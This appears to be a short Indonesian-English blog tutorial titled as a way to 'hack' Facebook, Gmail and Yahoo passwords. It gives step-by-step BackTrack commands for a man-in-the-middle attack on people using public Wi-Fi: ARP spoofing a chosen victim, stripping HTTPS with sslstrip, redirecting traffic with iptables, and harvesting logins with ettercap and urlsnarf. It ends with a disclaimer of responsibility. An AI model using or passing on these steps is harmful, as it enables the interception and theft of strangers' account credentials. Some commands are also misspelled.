Hack Password Facebook, Gmail, Yahoo Using SSLStrip Backtrack 5 R3

mungkin judul yang lebih tepat nya " sniffing password " tapi tak apalah,

biar agak greget dikit.. :D

Peralatan :

 Backtrack 5

Public Network ( i am use Free Wifi )

Eksekusi :

> edit file etter.conf

> open terminal , and type " nano /etc/etter.conf"

> sccrool to down and delet tag # on iptables.. see image
> save " ctrl + o " and exit " ctrl + x "

> type " echo 1 > /proc/sys/net/ipv4/ip_forwad
> see image

> search target type on teminal " netdiscover -i wlan1 -r 192.168.1.1/24
# -i wlan1 = your interface
# -r = range ip on your nettwork
> my victimm 192.168.1.103

> open new terminal. type " arpspoof -i wlan1 -t 192.168.1.103 192.168.1.1
# arpspoof -i [interface] -t [target / victim ip ] [ IP router]
see image
> do not close this terminal

>open new terminal, running sslstrip
# cd /pentest/web/sslstrip
# ./sslstrip.py -a -k -f
> do not close this terminal
see image

> open new terminal again
# ettercap -T -q -i wlan1 or follow code on  image

> open new terminal

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

> still on terminal . type " urlsnarf -v -i wlan1

> tunggu sampai korban anda mengakses facebook or gmail or yahoo pada browsernya..
> jika korban sudah melakukan login, maka akan keluar user and password di terminal ettercap.
lihat gambar

cukup sekian dari saya..
semoga bermanfaat

NB : SEGALA KERUGIAN AKIBAT TUTORIAL DI INI, SAYA TIDAK BERTANGGUNG JAWAB.